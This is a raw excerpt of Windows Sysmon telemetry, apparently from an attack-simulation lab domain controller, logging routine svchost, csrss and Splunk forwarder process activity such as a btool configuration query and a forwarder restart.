09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004642Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004641Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004640Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004639Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004638Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004637Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-294B-5F80-F400-000000007F01}3084C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004636Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-294B-5F80-F300-000000007F01}44042520C:\Windows\system32\cmd.exe{A5F018FF-294B-5F80-F400-000000007F01}3084C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004635Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.972{A5F018FF-294B-5F80-F400-000000007F01}3084C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-294B-5F80-F300-000000007F01}4404C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list general --no-log 10341000x80000000000000004634Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294B-5F80-F300-000000007F01}4404C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004633Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004632Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004631Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004630Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004629Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004628Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004627Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004626Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004625Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004624Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294B-5F80-F300-000000007F01}4404C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004623Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-294B-5F80-EF00-000000007F01}50964708C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE{A5F018FF-294B-5F80-F300-000000007F01}4404C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+6665|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+14738|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+d8a0|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004622Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.967{A5F018FF-294B-5F80-F300-000000007F01}4404C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2528 10341000x80000000000000004621Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.931{A5F018FF-294B-5F80-F200-000000007F01}42605076C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004620Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294B-5F80-F200-000000007F01}4260C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004619Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004618Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004617Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.681{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004616Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 